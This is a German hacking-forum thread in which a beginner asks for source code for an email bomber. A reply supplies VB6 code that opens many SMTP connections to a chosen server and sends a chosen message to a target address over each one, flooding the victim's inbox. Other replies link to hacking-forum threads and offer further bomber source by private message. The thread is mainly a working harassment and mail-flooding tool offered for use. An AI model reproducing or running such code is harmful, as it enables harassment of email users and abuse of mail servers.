Vb.net Source Email Bomber

[Bullterrier]

Hallo hat jemand von euch nen Source für nen Email Bomber in Vb.net?
Ich kann keinen finden im Netz.
Danke

[PAN]

Private Sub Command1_Click()
For i = 1 To Text5.Text
On Error Resume Next
smtp(i).Close
Unload smtp(i)
On Error Resume Next
Load smtp(i)
DoEvents
smtp(i).Connect txtserver.Text, 25
Next
End Sub

Private Sub Command2_Click()
For i = 1 To smtp(smtp.Count) - 1
smtp(i).Close
Unload smtp(i)
Next
End Sub

Private Sub smtp_Connect(Index As Integer)
DoEvents
Text6.Text = Text6.Text & "Connected" & vbCrLf
DoEvents
smtp(Index).SendData "HELO " & smtp(Index).LocalIP
DoEvents
smtp(Index).SendData "mail from:" & Text2.Text & vbCrLf
DoEvents
smtp(Index).SendData "mail from:" & Text2.Text & vbCrLf
DoEvents
smtp(Index).SendData "mail from:" & Text2.Text & vbCrLf
DoEvents
smtp(Index).SendData "rcpt to:" & Text1.Text & vbCrLf
DoEvents
smtp(Index).SendData "DATA" & vbCrLf
DoEvents
smtp(Index).SendData "subject: " & Text3.Text & vbCrLf
DoEvents
smtp(Index).SendData Text4.Text & vbCrLf
DoEvents
smtp(Index).SendData vbCrLf & "." & vbCrLf
DoEvents
smtp(Index).SendData "quit" & vbCrLf
DoEvents
End Sub

Private Sub smtp_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim Data As String
On Error Resume Next
smtp(Index).GetData Data
On Error Resume Next
DoEvents
Text6.Text = Text6.Text & Data
DoEvents
End Sub

Private Sub Text6_Change()
Text6.SelStart = Len(Text6.Text)
End Sub

Mfg PAN

P.S: Mit GOOGLE Gefunden!!!!!!!!!!!!!!!111!!!!!!EINS!!1!!1!!1111!E LF

[Sawyer]

das ist aber vb6 , damit wird er schlecht was anfangen können ;)

MfG

[Bullterrier]

Da muss ich unerem heiligen MOD Recht geben.
Bringt mir leider nichts.

[Macacity]

Kann man da nicht einfach ein normales Email script nehmen und das ein wenig modifizieren?
So wie dieses (http://forum.vb-paradise.de/allgemeines/tipps-tricks-und-tutorials/internet-lan/p43328-e-mail-senden-per-smtp-simple-mail-transfer-protocol/#post43328).
Sollte doch eigentlich gehen, oder habe ich da etwas falsch verstanden?

MfG Macacity

[Bullterrier]

Über den Thread bin ich auch schon gestolpert kann damit aber leider nichts anfangen.
Bin noch Anfänger =(

[Nec]

Wenn du ein anfänger bist Übe doch ein bisschen bist du denkst das du das schaffst. Oder suche dir bei google die nötigen befehle raus(Muss man halt mal voher nach denken was man den genau wann wie machen will)

[br00_pwn]

schau dir das teil mal an: http://free-hack.com/showthread.php?t=35703
wenn du intresse an der source hast, einfach pm...

[Montaxx]

http://free-hack.com/showthread.php?t=30101

MEINS GEHT :)